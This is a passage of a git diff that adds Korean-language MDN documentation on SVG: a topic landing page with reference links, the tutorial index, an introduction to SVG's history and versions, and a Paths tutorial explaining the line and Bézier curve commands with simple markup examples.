+ - 2D 그래픽
+ - References
+ - SVG
+ - TopicStub
+translation_of: Web/SVG
+---
+<div class="callout-box"><strong><a href="/ko/docs/SVG/Tutorial" title="SVG/Tutorial">시작하기</a></strong><br>
+이 튜토리얼은 SVG를 시작할 수 있도록 도움을 줄 것입니다.</div>
+
+<p><strong>가변 가능한 벡터 그래픽 (SVG)은 </strong>2차원의 벡터 그래픽을 기술하기 위한 <a href="/ko/docs/XML" title="XML">XML</a> 기반 마크업 언어이다.  HTML이 텍스트를 표현하는 것처럼, SVG는 본질적으로 그래픽을 표현한다.</p>
+
+<p>SVG는 텍스트 기반의 오픈 웹 표준이다. SVG는 의심할바 없이 CSS, DOM, SMIL 같은 다른 웹 표준과 함께 작동하기 위해서 디자인 되었다.</p>
+
+<p>SVG 이미지들, 그것과 관련된 작동들은 XML <a href="https://wiki.developer.mozilla.org/en-US/docs/XML">XML</a> 텍스트 파일로 정의되어있다. 그렇기에 검색될 수 있고, 색인 가능하고, 스크립트 될 수 있고 압축 가능하다. SVG파일은 추가적으로 어떤 텍스트 에디터에서나 드로잉 소프트웨어에서도 만들어질 수 있다.</p>
+
+<div class="cleared row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="문_서">문 서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/SVG/Element">SVG 요소 레퍼런스</a></dt>
+ <dd>SVG 요소들에 대한 상세한 정보를 담고있다.</dd>
+ <dt><a href="/ko/docs/Web/SVG/Attribute">SVG 속성 레퍼런스</a></dt>
+ <dd>SVG 속성들에 대한 상세한 정보를 담고있다.</dd>
+ <dt><a href="/ko/docs/DOM/DOM_Reference#SVG_interfaces">SVG DOM 인터페이스 레퍼런스</a></dt>
+ <dd>전체 SVG DOM API에 대한 상세한 정보를 담고있다.</dd>
+ <dt><a href="https://developer.mozilla.org/ko/docs/Web/SVG/Applying_SVG_effects_to_HTML_content">HTML 컨텐츠에 SVG 효과 적용하기</a></dt>
+ <dd>SVG는 {{Glossary("HTML")}}, {{Glossary("CSS")}}, {{Glossary("JavaScript")}}와 함께 동작한다. SVG를 사용해 일반적인 HTML와 웹애플리케이션을 개선할 수 있다.</dd>
+ <dt>Mozilla 에서 SVG</dt>
+ <dd>Mozilla에서 어떻게 SVG가 구현되었는지에 대한 참고 자료와 정보를 담고있다.
+ <ul>
+ <li><a href="/ko/docs/SVG_in_Firefox">Firefox에서 얼마나 많은 SVG가 구현되었는가?</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial">사용하는 방법 튜토리얼</a></li>
+ <li><a href="/ko/docs/SVG_In_HTML_Introduction">XHTML에서 SVG</a></li>
+ </ul>
+ </dd>
+</dl>
+
+<p><span class="alllinks"><a href="/ko/docs/tag/SVG">전체 보기...</a></span></p>
+
+<h2 class="Community" id="커뮤니티">커뮤니티</h2>
+
+<ul>
+ <li>Mozilla 포럼들을 보라. {{DiscussionList("dev-tech-svg", "mozilla.dev.tech.svg")}}</li>
+</ul>
+
+<h2 class="Tools" id="도구들">도구들</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/Graphics/SVG/Test/">SVG 테스트 수트</a></li>
+ <li><a href="http://jiggles.w3.org/svgvalidator/">SVG 검증기</a> (더 이상 사용되지 않음)</li>
+ <li><a href="/ko/docs/tag/SVG:Tools" title="tag/SVG:Tools">그 외의 도구들</a></li>
+ <li>다른 자원들: <a href="/ko/docs/XML">XML</a>, <a href="/ko/docs/CSS">CSS</a>, <a href="/ko/docs/DOM">DOM</a>, <a href="/ko/docs/HTML/Canvas">Canvas</a></li>
+</ul>
+</div>
+
+<div class="section">
+<h2 class="Related_Topics" id="예제들">예제들</h2>
+
+<ul>
+ <li>Google <a href="http://maps.google.com">Maps</a> (경로 중첩) &amp; <a href="http://docs.google.com">문서들</a> (스프레드시트 차트)</li>
+ <li><a href="http://starkravingfinkle.org/projects/demo/svg-bubblemenu-in-html.xml">SVG 버블 메뉴</a></li>
+ <li><a href="http://jwatt.org/svg/authoring/">SVG 제작 가이드라인</a></li>
+ <li><a href="/ko/docs/Mozilla_SVG_Project">Mozilla SVG 프로젝트</a>의 개요</li>
+ <li>SVG와 Mozilla 관련한 <a href="/ko/docs/SVG/FAQ" title="SVG/FAQ">FAQ : 자주 묻는 질문들</a></li>
+ <li>SVG Open 2009에 <a href="http://jwatt.org/svg-open-US/docs/2009/slides.xhtml">SVG 와 Mozilla</a>와 관련된 슬라이드와 데모들</li>
+ <li><a href="/ko/docs/SVG/SVG_as_an_Image">이미지로서 SVG</a></li>
+ <li><a href="/ko/docs/SVG/SVG_animation_with_SMIL">SMIL로 SVG 애니메이션</a></li>
+ <li><a href="http://plurib.us/1shot/2007/svg_gallery/">SVG 아트 갤러리</a></li>
+ <li>그 외의 예제들 (<a href="http://croczilla.com/bits_and_pieces/svg/samples">SVG 예제 croczilla.com</a>, <a href="http://www.carto.net/papers/svg/samples/">carto.net</a>)</li>
+</ul>
+
+<h3 id="애니메이션과_상호작용들">애니메이션과 상호작용들</h3>
+
+<p>HTML과 마찬가지로 SVG은 도큐먼트 모델(DOM)와 이벤트를 가지고 있으며, JavaScript로 접근할 수 있다. 이를 통해 개발자는 풍부한 애니메이션과 이미지들의 상호작용을 생성할 수 있다.</p>
+
+<ul>
+ <li><a href="http://svg-wow.org/">svg-wow.org</a> 에서 몇몇 실제 눈요기 SVG</li>
+ <li>SMIL 애니메이션 지원을 확장하기 위한  Firefox 확장 (<a href="http://schepers.cc/grafox/">Grafox</a>) </li>
+ <li>상호작용하는 <a href="http://people.mozilla.com/~vladimir/demos/photos.svg">사진</a> 조작</li>
+ <li>SVG의 <code>foreignObject를 사용하는 </code><a href="http://starkravingfinkle.org/blog/2007/07/firefox-3-svg-foreignobject/">HTML 변환들</a></li>
+</ul>
+
+<h3 id="매핑_차트_게임_그리고_3D_실험들">매핑, 차트, 게임 그리고 3D 실험들</h3>
+
+<p>While 웹 컨텍스트를 향상히기는 방법으로 작은 SVG는 먼길을 갈 수 있는 동안 여기 많은 SVG 사용법들에 대한 몇몇 예제가 있다..</p>
+
+<ul>
+ <li><a href="http://www.codedread.com/yastframe.php">SVG  테트리스</a>와 <a href="http://www.treebuilder.de/svg/connect4.svg">커넥트 4</a></li>
+ <li><a href="http://www.carto.net/papers/svg/us_population/index.html">미국 인구 지도</a></li>
+ <li><a href="http://www.treebuilder.de/default.asp?file=441875.xml">3D 박스</a> &amp; <a href="http://www.treebuilder.de/default.asp?file=206524.xml">3D 박스들</a></li>
+ <li><a href="http://jvectormap.com/">jVectorMap</a> (데이터 시각화를 위해 상호작용하는 Map)</li>
+ <li><a href="http://jointjs.com">JointJS</a> (JavaScript 다이어그램 라이브러리)</li>
+</ul>
+</div>
+</div>
diff --git a/files/ko/web/svg/tutorial/index.html b/files/ko/web/svg/tutorial/index.html
new file mode 100644
index 0000000000..1cc6c1f8d5
--- /dev/null
+++ b/files/ko/web/svg/tutorial/index.html
@@ -0,0 +1,36 @@
+---
+title: SVG 튜토리얼
+slug: Web/SVG/Tutorial
+tags:
+ - SVG
+ - 'SVG:튜토리얼'
+ - 중급
+translation_of: Web/SVG/Tutorial
+---
+<p>확장 가능한 벡터 그래픽(Scalable Vector Graphics), <a href="https://developer.mozilla.org/en-US/docs/Web/SVG">SVG</a>는 그래픽을 마크업하기 위한 W3C XML의 특수언어(dialect)입니다. SVG는 파이어폭스, 오페라, 웹킷 브라우저, 인터넷 익스플로러 및 기타 여러 브라우저에서 부분적으로 지원하고 있습니다.</p>
+
+<p>본 튜토리얼의 목적은 SVG 내부 구조를 설명하는 데 있으며, 기술적인 세부 사항을 다룹니다. 만약 그저 아름다운 이미지를 그리려고 한다면, <a class="external external-icon" href="http://inkscape.org/doc/" title="http://inkscape.org/doc/">Inkscape's documentation page</a>에서 더 많은 유용한 소스들을 찾을 수 있습니다. SVG에 관한 또 다른 소개는 W3C의 <a class="external external-icon" href="http://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html" title="http://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html">SVG Primer</a>에서 제공됩니다.</p>
+
+<div class="note">본 튜토리얼은 개발 초기 단계에 있습니다. 가능하다면, 본 문서 작성에 참여하여, 한 두 단락을 작성하여 도움을 주기 바랍니다. 한 페이지 전체를 작성한다면 더욱 좋습니다!</div>
+
+<h5 id="SVG_소개_목록">SVG 소개 목록</h5>
+
+<ul>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Introduction" title="ko/docs/Web/SVG/Tutorial/Introduction">소개</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Getting_Started" title="ko/docs/Web/SVG/Tutorial/Getting_Started">시작하기</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Positions" title="ko/docs/Web/SVG/Tutorial/Positions">위치</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Basic_Shapes" title="ko/docs/Web/SVG/Tutorial/Basic_Shapes">기본 형태</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Paths" title="ko/docs/Web/SVG/Tutorial/Paths">패스</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Fills_and_Strokes" title="ko/docs/Web/SVG/Tutorial/Fills_and_Strokes">채우기 및 선 그리기</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Gradients" title="ko/docs/Web/SVG/Tutorial/Gradients">그라디언트</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Patterns" title="ko/docs/Web/SVG/Tutorial/Patterns">패턴</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Texts" title="ko/docs/Web/SVG/Tutorial/Texts">텍스트</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Basic_Transformations" title="ko/docs/Web/SVG/Tutorial/Basic_Transformations">기본 변형</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Clipping_and_masking" title="ko/docs/Web/SVG/Tutorial/Clipping_and_masking">클리핑 및 마스킹</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Other_content_in_SVG" title="ko/docs/Web/SVG/Tutorial/Other content in SVG">SVG 안의 다른 컨텐츠</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Filter_effects" title="ko/docs/Web/SVG/Tutorial/Filter effects">필터 효과</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/SVG_fonts" title="ko/docs/Web/SVG/Tutorial/SVG fonts">SVG 폰트</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/SVG_Image_Tag" title="ko/docs/Web/SVG/Tutorial/SVG Image Tag">SVG 이미지 태그</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Tools_for_SVG" title="ko/docs/Web/SVG/Tutorial/Tools_for_SVG">SVG를 위한 도구들</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/SVG_and_CSS">SVG와 CSS</a></li>
+</ul>
diff --git a/files/ko/web/svg/tutorial/introduction/index.html b/files/ko/web/svg/tutorial/introduction/index.html
new file mode 100644
index 0000000000..05041323fa
--- /dev/null
+++ b/files/ko/web/svg/tutorial/introduction/index.html
@@ -0,0 +1,49 @@
+---
+title: 소개
+slug: Web/SVG/Tutorial/Introduction
+tags:
+ - SVG
+ - 'SVG:튜토리얼'
+ - 가이드
+ - 초보자
+ - 튜토리얼
+translation_of: Web/SVG/Tutorial/Introduction
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial", "Web/SVG/Tutorial/Getting_Started") }}</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/348/=SVG_Overview.png" style="float: right;"><a href="/ko/SVG" title="ko/SVG">SVG</a>는 <a href="/ko/XHTML" title="ko/XHTML">XHTML</a>과 비슷한 <a href="/ko/XML" title="ko/XML">XML</a> 언어로 오른쪽에 있는 것과 같은 그래픽을 그리는 데 사용된다. SVG 이미지는 필요한 모든 선과 모양을 직접 일일이 지정하거나, 이미 존재하는 래스터 이미지를 수정하거나, 이 두 가지 방법을 조합해서 만들 수 있다. 이미지와 그 구성요소들은 변형되고, 조합되고, 필터링될 수 있으며, 이를 통해 원래의 형태를 완전히 바꿀 수도 있다.</p>
+
+<p>SVG는 비슷한 경쟁 포맷들이 <a class="external" href="http://www.w3.org" title="ko/W3C">W3C</a>에 제출되었지만 완전히 승인되지는 않았던 1999년에 등장했다. 명세는 오랫동안 존재해 왔지만 웹 브라우저에서 느리게 받아들여졌기 때문에, 웹 문서에서 바로 SVG를 포함하는 컨텐츠는 2009년까지도 많지 않았다. 사용할 수 있는 구현조차도 경쟁기술인 <a href="/ko/HTML/Canvas" title="ko/HTML/Canvas">HTML5 캔버스</a>나 (애플리케이션 인터페이스로서) 어도비 플래시보다 느린 편이다. SVG는 캔버스나 플래시와 비교했을 때 <a href="/ko/docs/Web/API">DOM 인터페이스</a>를 사용할 수 있는 점과 서드파티 확장을 필요로 하지 않는 이점을 가지고 있다. SVG를 활용할 지는 사용자의 목적에 달려있다.</p>
+
+<p><a href="https://caniuse.com/#feat=svg">Can I Use...</a>에서 확인할 수 있듯이, SVG 지원은 2009년부터 확대되어 왔다.</p>
+
+<h3 id="기본적인_요소들">기본적인 요소들</h3>
+
+<p><a href="/ko/docs/Web/HTML">HTML</a>은 헤더, 문단, 표와 같은 요소들을 제공한다. SVG도 마찬가지로 원, 사각형, 간단한 곡선과 복잡한 곡선을 그릴 수 있는 요소들을 제공한다. 간단한 SVG 문서는 {{ SVGElement('svg') }} 루트 요소와 그래픽을 구성하기 위한 몇몇 기본 도형들로 구성된다. 또한 {{ SVGElement('g') }} 요소를 통해 간단한 모양들을 조합할 수 있다.</p>
+
+<p>이를 통해서 SVG 이미지는 아주 복잡해질 수도 있다. SVG는 그라디언트, 회전, 필터 효과, 애니메이션, 자바스크립트를 통한 조작을 지원한다. 하지만 SVG의 이러한 추가적인 기능들은 그래픽 영역을 정의하는 비교적 작은 요소들의 집합에 의존하고 있다.</p>
+
+<h3 id="Before_you_start" name="Before_you_start">시작하기 전에</h3>
+
+<p><a class="external" href="http://www.inkscape.org/">잉크스케이프(Inkscape)</a>를 비롯해 SVG를 네이티브 포맷으로 활용하는 무료 드로잉 애플리케이션들이 있다. 하지만 이 튜토리얼에서는 순수하게 XML과 (독자가 선택한) 텍스트 에디터만을 사용한다. 이는 SVG의 내부 구조에 대한 이해를 돕기 위함이며, 이렇게 하기 위해서는 직접 마크업 언어를 경험해보는 것이 무엇보다 중요하다. SVG를 배우는 이유를 되새겨보자. 모든 SVG 뷰어가 같은 방식으로 구현되어 있지는 않기 때문에, 어떤 애플리케이션에서 잘 보여지도록 작성된 SVG가 다른 애플리케이션에서는 의도한 대로 작동하지 않을 수도 있다. 이는 SVG 명세나 SVG와 함께 사용되는 <a href="/ko/JavaScript">자바스크립트</a>나 <a href="/ko/CSS" title="ko/CSS">CSS</a>를 지원하는 수준이 서로 상이하기 때문에 발생하는 문제이다.</p>
+
+<p>SVG는 모든 모던 웹 브라우저에서 지원하고 있으며, 이전부터 지원해오던 경우도 있다. <a href="http://caniuse.com/svg">Can I use</a>에서 SVG 지원 현황을 표로 확인할 수 있다. 파이어폭스는 1.5 버전에서부터 SVG를 지원해오고 있으며, 매 버전이 나올 때마다 SVG 지원 범위도 넓어지고 있다. 바라건대 이 튜토리얼과 MDN 문서가 개발자들이 Gecko와 다른 주요 구현체들의 차이를 이해하는 데 도움이 되길 바란다.</p>
+
+<p>SVG를 시작하기에 앞서, 기초적인 XML 문법이나 <abbr title="HyperText Markup Language">HTML</abbr> 같은 다른 마크업 언어를 이해할 필요가 있다. XML에 익숙하지 않다면 다음 사항들을 유념하기 바란다.</p>
+
+<ul>
+ <li>XML은 (HTML과 달리) 대소문자를 구분하는 언어이므로 SVG 요소와 속성은 반드시 예제에 보이는 대로 입력해야 한다.</li>
+ <li>SVG에서 속성 값은 숫자라고 할지라도 반드시 따옴표로 둘러싸야 한다.</li>
+</ul>
+
+<p>SVG의 명세는 아주 길다. 이 튜토리얼에서는 기초적인 부분만을 다룬다. 이미 SVG에 익숙하다면 <a href="/ko/SVG/Element" title="ko/SVG/Element">요소 레퍼런스</a>나 <a href="/ko/docs/DOM/DOM_Reference#SVG_interfaces" title="ko/SVG/Interface">인터페이스 레퍼런스</a>에서 필요한 부분을 찾아보면 된다.</p>
+
+<h3 id="SVG의_종류">SVG의 종류</h3>
+
+<p>2003년에 권고가 된 후 최신의 완전한(full) SVG 버전은 1.1이다. 1.1은 1.0을 기반으로 작성되었으나 구현을 쉽게 하기 위해 좀 더 모듈화되었다. <a href="http://www.w3.org/TR/SVG/">SVG 1.1 두번째 에디션</a>은 2011년에 권고되었다. 완전한 SVG 1.2가 SVG의 다음 주요 릴리즈였다. 1.2 대신 현재 활발히 개발중인 <a href="http://www.w3.org/TR/SVG2/">SVG 2.0</a>으로 넘어갈 것이다. SVG 2.0에서는 CSS 3과 마찬가지로 구성요소들이 느슨히 결합된 명세들로 분리될 것이다.</p>
+
+<p>완전한 SVG 권고와는 별도로 W3C 워킹 그룹에서는 2003년에 SVG Tiny와 SVG Basic을 내놓았다. SVG Tiny와 SVG Basic은 모바일 기기를 위한 것이다. 먼저 SVG Tiny에 따르면 적은 리소스를 가진 작은 기기에서도 그래픽을 생성할 수 있어야 한다. SVG Basic은 완전한 SVG 명세의 많은 부분을 지원하지만 구현하기 어렵거나 애니메이션과 같이 무거운 렌더 작업은 포함하지 않는다. 2008년에는 SVG Tiny 1.2가 W3C 권고가 되었다.</p>
+
+<p>다중 페이지 지원 및 더 나은 색상 관리를 위한 SVG 프린트 명세도 계획되어 있었다. 이 작업은 현재 진행되지 않고 있다.</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial", "Web/SVG/Tutorial/Getting_Started") }}</p>
diff --git a/files/ko/web/svg/tutorial/paths/index.html b/files/ko/web/svg/tutorial/paths/index.html
new file mode 100644
index 0000000000..4280d78df0
--- /dev/null
+++ b/files/ko/web/svg/tutorial/paths/index.html
@@ -0,0 +1,216 @@
+---
+title: 패스
+slug: Web/SVG/Tutorial/Paths
+tags:
+ - SVG
+ - 학습서
+translation_of: Web/SVG/Tutorial/Paths
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Basic_Shapes", "Web/SVG/Tutorial/Fills_and_Strokes") }}</p>
+
+<p><a href="/en-US/Web/SVG/Element/path"><code>&lt;path&gt;</code></a> 엘리먼트는 SVG <a href="/ko/docs/Web/SVG/Tutorial/Basic_Shapes">기본 도형</a> 라이브러리에서 가장 강력한 엘리먼트이다. 선과 곡선, 호 등 다양한 형태를 그릴 수 있다.</p>
+
+<p>패스는 여러 개의 직선과 곡선을 합쳐서 복잡한 도형을 그릴 수 있게 해준다. 직선으로만 이루어진 복잡한 도형은 <a href="/en-US/docs/Web/SVG/Tutorial/Basic_Shapes#Polyline">polylines</a>으로도 그릴 수 있지만, 곡선을 묘사할 때 polylines은 패스로 그린 도형에 비해 더 많은 직선이 필요에 확대가 잘 되지 않을 수 있다. 그렇기에 SVG를 그릴 때 패스에 대해 이해하는 것은 매우 중요하다고 할 수 있다. 복잡한 패스를 XML 편집기 또는 일반적인 텍스트 에디터로 그리는 것은 권장하지 않지만, SVG가 표시될 때 문제점을 찾고 고치는 데는 충분히 도움이 될 것이다.</p>
+
+<p>패스의 모양은 {{ SVGAttr("d") }} 속성 하나로 정의된다(<a href="/en-US/docs/">basic shapes</a> 참조). <code>"d"</code> 속성은 여러 개의 명령어와 그 파라미터들로 이루어진다.</p>
+
+<p>각각 명령은 특정 알파벳으로 시작한다. 예를 들면 현재 그려지는 위치를 XY 좌표계의 (10, 10)으로 이동할 때 "Move To" 명령을 사용하게 되는데, 이 명령은 알파벳 M으로 호출한다. SVG 처리기가 이 문자를 읽게 되면 다른 위치로 이동하라는 명령으로 이해하게 된다. 즉, (10, 10)으로 이동하려면 명령어 "M 10 10"을 쓰면 된다. 이후에 처리기는 다음 명령어를 읽기 시작한다.</p>
+
+<p>모든 명령어는 2가지 변형이 존재하는데, 알파벳이 <strong>대문자</strong>일 경우(예를 들면 대문자 M), 뒤따르는 좌표는 페이지의 절대 좌표를 참조하며, <strong>소문자</strong> 알파벳(m)일 경우 마지막 위치에 대한 상대적 좌표로 참조된다.</p>
+
+<p>"d" 속성의 좌표는<strong> 절대 단위가 붙지 않으며,</strong> 패스의 위치나 형태가 어떻게 변형될 수 있는지는 나중에 배우도록 한다.</p>
+
+<h2 id="선(Line)_명령어">선(Line) 명령어</h2>
+
+<p><code>&lt;path&gt;</code> 노드에는 다섯 개의 선 명령어가 있다. 이름에서 알 수 있듯이 각각의 명령어는 두 점 사이에 선을 그리는 역할을 한다. 첫 번째 명령어는 'Move To(이동하기)' 혹은 'M' 이다. 이 명령어는 두 개의 파라미터로 x와 y 좌표를 받는다. 그리기 커서가 이미 페이지의 다른 곳에 있었더라도 두 점 사이에 점이 그려지지는 않는다. 'Move To' 명령어는 다음과 같이 패스의 맨 처음에 와서 그리기를 시작할 위치를 지정한다:</p>
+
+<pre> M x y
+</pre>
+
+<p>혹은</p>
+
+<pre> m dx dy</pre>
+
+<p>아래의 예제에서는 좌표 (10,10)에만 점을 찍었다. 일반적으로 패스를 그릴 때는 이 점이 나타나지 않는다는 점에 주의해야 한다.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/45/=Blank_Path_Area.png" style="float: right;"></p>
+
+<pre class="brush: xml">&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"&gt;
+
+ &lt;path d="M10 10"/&gt;
+
+ &lt;!-- 점 --&gt;
+ &lt;circle cx="10" cy="10" r="2" fill="red"/&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>선을 그리는 명령어는 세 가지가 있다. 가장 일반적인 것은 'L'이라 부르는 "Line To(선 그리기)" 명령어이다. L 명령어는 x, y라는 두 개의 파라미터를 받아서 현재 위치에서 새 위치로 선을 긋는다.</p>
+
+<pre> L x y (혹은 l dx dy)
+</pre>
+
+<p>가로선과 세로선을 그리는 축약 명령어도 있다. 'H'는 가로선을 그리고, 'V'는 세로선을 그릴 수 있다. 두 명령어는 한 좌표축으로만 이동하므로 하나의 파라미터만을 받는다.</p>
+
+<pre> H x (혹은 h dx)
+ V y (혹은 v dy)
+</pre>
+
+<p>도형 그리기부터 시작해 보자. 사각형을 그려볼 텐데(<code>&lt;rect&gt;</code>를 이용해 쉽게 그릴 수도 있다), 시작점부터 가로, 세로선도 함께 사용되었다.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/292/=Path_Line_Commands.png" style="float: right;"></p>
+
+<pre class="brush: xml">&lt;svg width="100" height="100" xmlns="http://www.w3.org/2000/svg"&gt;
+
+ &lt;path d="M10 10 H 90 V 90 H 10 L 10 10"/&gt;
+
+ &lt;!-- 점 --&gt;
+ &lt;circle cx="10" cy="10" r="2" fill="red"/&gt;
+ &lt;circle cx="90" cy="90" r="2" fill="red"/&gt;
+ &lt;circle cx="90" cy="10" r="2" fill="red"/&gt;
+ &lt;circle cx="10" cy="90" r="2" fill="red"/&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>'Z'라는 "Close Path(패스 닫기)" 명령어를 통해 쉽게 패스를 마무리할 수 있다. 이 명령어는 현 위치에서 시작점으로 직선을 그린다. 항상은 아니지만 패스의 끝에 자주 쓰인다. 대문자와 소문자 사이의 차이는 없다.</p>
+
+<pre> Z (혹은 z)
+</pre>
+
+<p>위 코드를 짧게 줄여보면:</p>
+
+<pre class="brush: xml">&lt;path d="M10 10 H 90 V 90 H 10 Z" fill="transparent" stroke="black"/&gt;
+</pre>
+
+<p>위의 형태를 상대좌표로도 표현해볼 수 있다. 상대좌표 명령어는 앞서 기술된 바와 같이 소문자로 되어 있는 명령어인데, 패스를 움직일 때 정확한 위치를 지정해주는 것이 아니라 현재 위치로부터 얼마나 움직여야 하는지를 기술해준다. 예를 들면 위 80x80 상자를 아래와 같이 표현할 수 있다.</p>
+
+<pre class="brush: xml">&lt;path d="M10 10 h 80 v 80 h -80 Z" fill="transparent" stroke="black"/&gt;
+</pre>
+
+<p>여기서 패스는 (10,10)에서 시작하여 수평으로 80포인트<strong>만큼 오른쪽</strong>으로 움직이고 수직으로 80포인트<strong>만큼 아래로</strong> 이동하고 다시 시작점으로 이동하게 된다.</p>
+
+<p>위 예제의 모양을 만드는 데는 &lt;polygon&gt; 태그나 &lt;polyline&gt; 태그가 더 간편해보일 수 있지만, 패스는 SVG를 그릴 때 자주 사용되므로 개발자 입장에서 더 편할 수도 있다. 성능 면에서는 둘 모두 비슷비슷하니, 편한 것으로 사용하자.</p>
+
+<h2 id="곡선_(Curve)_명령어">곡선 (Curve) 명령어</h2>
+
+<p>부드러운 곡선을 그릴 수 있는 세 가지 명령어가 있다. 이 중 두 가지는 '베지어 곡선'이며, 나머지 하나는 원의 조각인 '호'이다. 베지어 곡선은 아마 일러스트레이터나 포토샵, 잉크스케이프 등의 벡터 그래픽 기반의 툴을 통해서 경험해봤을 것이다. 베지어 곡선의 수학적 배경은 <a class="external" href="https://en.wikipedia.org/wiki/B%C3%A9zier_curve">위키피디아</a>를 참조하길 바란다. 베지어 곡선의 종류는 무한하지만, 패스 엘리먼트에서는 가장 간단한 두 종류만을 지원한다. 하나는 'C'라고 부르는 3차(Cubic) 베지어 곡선이고, 다른 하나는 'Q'로 사용되는 2차(Quadratic) 베지어 곡선이다.</p>
+
+<h3 id="베지어_곡선">베지어 곡선</h3>
+
+<p>3차 베지어 곡선인 'C'는 조금 복잡한 곡선이다. 3차 베지어 곡선은 선을 잇는 두 점에 하나씩 제어점을 가지고 있다. 그러므로 3차 베지에 곡선을 그리려면 총 세 개의 좌표가 필요하다.</p>
+
+<pre> C x1 y1, x2 y2, x y (혹은 c dx1 dy1, dx2 dy2, dx dy)
+</pre>
+
+<p>마지막으로 지정된 좌표 (x, y)는 곡선의 끝점이다. 나머지 두 개는 제어점이며, 첫 번째 제어점은 (x1, y1), 두 번째 제어점은 (x2, y2)이다. 제어점은 기본적으로 시작점과 끝점에서 곡선의 방향을 기술한다. 베지어 함수는 각 제어점의 방향을 이용해 부드러운 곡선을 만드는 기능을 한다.</p>
+
+<p><img alt="Cubic Bézier Curves with grid" class="internal" src="https://mdn.mozillademos.org/files/10401/Cubic_Bezier_Curves_with_grid.png" style="float: right; height: 160px; width: 190px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+
+ &lt;path d="M10 10 C 20 20, 40 20, 50 10" stroke="black" fill="transparent"/&gt;
+ &lt;path d="M70 10 C 70 20, 120 20, 120 10" stroke="black" fill="transparent"/&gt;
+ &lt;path d="M130 10 C 120 20, 180 20, 170 10" stroke="black" fill="transparent"/&gt;
+ &lt;path d="M10 60 C 20 80, 40 80, 50 60" stroke="black" fill="transparent"/&gt;
+ &lt;path d="M70 60 C 70 80, 110 80, 110 60" stroke="black" fill="transparent"/&gt;
+ &lt;path d="M130 60 C 120 80, 180 80, 170 60" stroke="black" fill="transparent"/&gt;
+ &lt;path d="M10 110 C 20 140, 40 140, 50 110" stroke="black" fill="transparent"/&gt;
+ &lt;path d="M70 110 C 70 140, 110 140, 110 110" stroke="black" fill="transparent"/&gt;
+ &lt;path d="M130 110 C 120 140, 180 140, 170 110" stroke="black" fill="transparent"/&gt;
+
+&lt;/svg&gt;
+</pre>
+
+<p>위 예제에서는 아홉 개의 베지어 곡선을 그린다. 왼쪽으로 갈수록 곡선이 수평에 가까워지고, 오른쪽으로 갈수록 제어점이 원점에서 멀어진다. 여기서 주목해야 할 점은 곡선이 첫 번째 제어점 방향으로 시작한 다음, 두 번째 제어점 방향으로 구부러지고 있다는 것이다.</p>
+
+<p>여러 베지어 곡선을 연결하여 확장된 곡선 형태를 만들 수도 있다. 한 선의 제어점을 다른 선의 제어점과 반대 방향으로 그어서 완만한 경사를 만들어야 할 때가 많은데, 이 경우에는 간단한 형태의 3차 베지어 곡선 명령어인 'S' (혹은 's')를 사용해서 구현할 수 있다.</p>
+
+<pre> S x2 y2, x y (혹은 s dx2 dy2, dx dy)
+</pre>
+
+<p><code>S</code>는 위와 같은 형태의 곡선을 그리지만, 다른 <code>S</code>나 <code>C</code> 명령어 다음에 올 경우 첫 번째 제어점은 이전에 사용했던 제어점을 뒤집은 것으로 간주된다. <code>S</code> 명령어가 다른 <code>S</code>나 <code>C</code> 명령어 다음에 오지 않을 경우에는 현재 커서 위치가 첫 번째 제어점으로 사용되며, 이 경우에 그려지는 결과는 Q 명령어로 같은 파라미터를 사용해서 그린 결과와 같게 된다. 아래에 이 명령어의 예제가 있으며, 왼쪽의 미리보기에서 패스에 명시적으로 표시된 제어점은 빨간색, 생략된 제어점은 파란색으로 표시한다.</p>
+
+<p><img alt="ShortCut_Cubic_Bezier_with_grid.png" class="internal" src="https://mdn.mozillademos.org/files/10405/ShortCut_Cubic_Bezier_with_grid.png" style="float: right; height: 160px; width: 190px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;path d="M10 80 C 40 10, 65 10, 95 80 S 150 150, 180 80" stroke="black" fill="transparent"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>3차 베지어 곡선보다 간단한 다른 형태의 곡선은 'Q'라고 부르는 2차 베지어 곡선이며, 하나의 제어점이 시작점과 끝점의 방향을 모두 결정한다. 이 명령어는 매개변수로 제어점과 곡선의 끝점 2개를 받는다.</p>
+
+<pre> Q x1 y1, x y (혹은 q dx1 dy1, dx dy)
+</pre>
+
+<p><img alt="Quadratic Bézier with grid" class="internal" src="https://mdn.mozillademos.org/files/10403/Quadratic_Bezier_with_grid.png" style="float: right; height: 160px; width: 190px;"></p>
+
